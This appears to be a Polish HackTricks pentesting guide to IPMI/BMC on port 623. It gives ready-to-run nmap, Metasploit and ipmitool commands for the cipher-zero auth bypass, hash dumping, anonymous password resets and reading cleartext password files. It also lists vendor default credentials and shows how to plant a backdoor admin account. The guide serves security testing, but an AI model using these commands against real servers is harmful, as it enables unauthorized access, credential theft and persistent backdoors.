11 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź SUBSCRIPTION PLANS!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Przegląd IPMI
Intelligent Platform Management Interface (IPMI) oferuje standaryzowane podejście do zdalnego zarządzania i monitorowania systemów komputerowych, niezależnie od systemu operacyjnego lub stanu zasilania. Ta technologia umożliwia administratorom systemów zdalne zarządzanie systemami, nawet gdy są wyłączone lub nieodpowiedzialne, i jest szczególnie przydatna do:
- Konfiguracji przed uruchomieniem systemu operacyjnego
- Zarządzanie wyłączaniem zasilania
- Przywracanie po awariach systemu
IPMI jest zdolne do monitorowania temperatur, napięć, prędkości wentylatorów i zasilaczy, a także dostarczania informacji o inwentarzu, przeglądania dzienników sprzętu i wysyłania alertów za pomocą SNMP. Do jego działania niezbędne są źródło zasilania i połączenie LAN.
Od wprowadzenia przez Intel w 1998 roku, IPMI jest obsługiwane przez licznych dostawców, zwiększając zdolności zdalnego zarządzania, zwłaszcza dzięki wsparciu wersji 2.0 dla transmisji szeregowej przez LAN. Kluczowe komponenty obejmują:
- Kontroler zarządzania płytą główną (BMC): Główny mikrokontroler do operacji IPMI.
- Magistrale i interfejsy komunikacyjne: Do komunikacji wewnętrznej i zewnętrznej, w tym ICMB, IPMB i różne interfejsy do połączeń lokalnych i sieciowych.
- Pamięć IPMI: Do przechowywania dzienników i danych.
Domyślny port: 623/UDP/TCP (Zazwyczaj działa na UDP, ale może również działać na TCP)
Wyliczanie
Odkrywanie
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Możesz zidentyfikować wersję używając:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Podatności IPMI
W dziedzinie IPMI 2.0 odkryto znaczącą lukę w zabezpieczeniach, odkrytą przez Dana Farmera, która ujawnia podatność poprzez typ szyfrowania 0. Ta podatność, szczegółowo udokumentowana w badaniach Dana Farmera, umożliwia nieautoryzowany dostęp przy użyciu dowolnego hasła, pod warunkiem, że jest to ważny użytkownik. Ta słabość została znaleziona w różnych BMC od producentów takich jak HP, Dell i Supermicro, co sugeruje powszechny problem we wszystkich implementacjach IPMI 2.0.
Ominięcie uwierzytelniania IPMI za pomocą szyfrowania 0
Aby wykryć tę lukę, można użyć następującego skanera pomocniczego w narzędziu Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Eksploatacja tej luki jest możliwa za pomocą ipmitool
, jak pokazano poniżej, umożliwiając listowanie i modyfikację haseł użytkowników:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP - Pobieranie zdalnego hasha hasła uwierzytelniania
Ta podatność umożliwia pobieranie solonych zahaszowanych haseł (MD5 i SHA1) dla dowolnej istniejącej nazwy użytkownika. Aby przetestować tę podatność, Metasploit oferuje moduł:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Anonimowa autoryzacja IPMI
Domyślna konfiguracja wielu BMC (zarządzanie bazą danych) umożliwia dostęp "anonimowy", charakteryzujący się pustymi ciągami znaków dla nazwy użytkownika i hasła. Konfiguracja ta może być wykorzystana do resetowania haseł dla nazwanych kont użytkowników za pomocą narzędzia ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Hasła w czystym tekście
Krytyczny wybór projektowy w IPMI 2.0 wymaga przechowywania haseł w czystym tekście w BMC w celu uwierzytelniania. Przechowywanie tych haseł przez Supermicro w lokalizacjach takich jak /nv/PSBlock
lub /nv/PSStore
rodzi poważne obawy dotyczące bezpieczeństwa:
cat /nv/PSBlock
Podatność UPnP Supermicro IPMI
Włączenie przez Supermicro nasłuchiwania UPnP SSDP w oprogramowaniu IPMI, zwłaszcza na porcie UDP 1900, wprowadza poważne ryzyko bezpieczeństwa. Podatności w wersji 1.3.1 Intel SDK for UPnP Devices, jak szczegółowo opisano w publikacji Rapid7, umożliwiają uzyskanie dostępu do BMC jako root:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP losuje losowe hasło domyślne dla swojego produktu Integrated Lights Out (iLO) podczas produkcji. Praktyka ta różni się od innych producentów, którzy zwykle używają statycznych danych uwierzytelniających domyślnych. Poniżej przedstawiono podsumowanie domyślnych nazw użytkowników i haseł dla różnych produktów:
- HP Integrated Lights Out (iLO) używa losowego ciągu 8 znaków jako hasła domyślnego, co świadczy o wyższym poziomie bezpieczeństwa.
- Produkty takie jak iDRAC firmy Dell, IMM firmy IBM i Integrated Remote Management Controller firmy Fujitsu używają łatwo odgadnialnych haseł, takich jak "calvin", "PASSW0RD" (z zerem) i "admin" odpowiednio.
- Podobnie, Supermicro IPMI (2.0), Oracle/Sun ILOM i ASUS iKVM BMC również używają prostych danych uwierzytelniających domyślnych, gdzie hasłami są "ADMIN", "changeme" i "admin".
Dostęp do hosta za pośrednictwem BMC
Administracyjny dostęp do kontrolera zarządzania płytą główną (BMC) otwiera różne ścieżki dostępu do systemu operacyjnego hosta. Prostym podejściem jest wykorzystanie funkcjonalności klawiatury, wideo i myszy (KVM) BMC. Można to zrobić poprzez ponowne uruchomienie hosta do powłoki roota za pomocą GRUB (używając init=/bin/sh
) lub uruchomienie z wirtualnego napędu CD-ROM jako dysku ratunkowego. Takie metody umożliwiają bezpośrednią manipulację dyskiem hosta, włącznie z wstawianiem tylnych drzwi, wydobyciem danych lub wykonaniem innych niezbędnych działań w celu oceny bezpieczeństwa. Jednak wymaga to ponownego uruchomienia hosta, co stanowi znaczącą wadę. Bez ponownego uruchamiania dostęp do działającego hosta jest bardziej skomplikowany i różni się w zależności od konfiguracji hosta. Jeśli fizyczna lub konsola szeregowa hosta pozostaje zalogowana, można ją łatwo przejąć za pomocą funkcji KVM lub serial-over-LAN (sol) BMC za pomocą ipmitool
. Badanie wykorzystania współdzielonych zasobów sprzętowych, takich jak magistrala i2c i układ Super I/O, to obszar, który wymaga dalszych badań.
Wprowadzanie tylnych drzwi do BMC z hosta
Po skompromitowaniu hosta wyposażonego w BMC, można wykorzystać lokalny interfejs BMC do wstawienia konta użytkownika z tylnymi drzwiami, tworząc trwałą obecność na serwerze. Atak ten wymaga obecności narzędzia ipmitool
na skompromitowanym hoście oraz aktywacji obsługi sterownika BMC. Poniższe polecenia ilustrują, jak nowe konto użytkownika można wstrzyknąć do BMC za pomocą lokalnego interfejsu hosta, omijając konieczność uwierzytelniania. Ta technika jest zastosowalna w szerokim zakresie systemów operacyjnych, w tym Linux, Windows, BSD, a nawet DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
Odnośniki
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć reklamę swojej firmy w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi trikami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.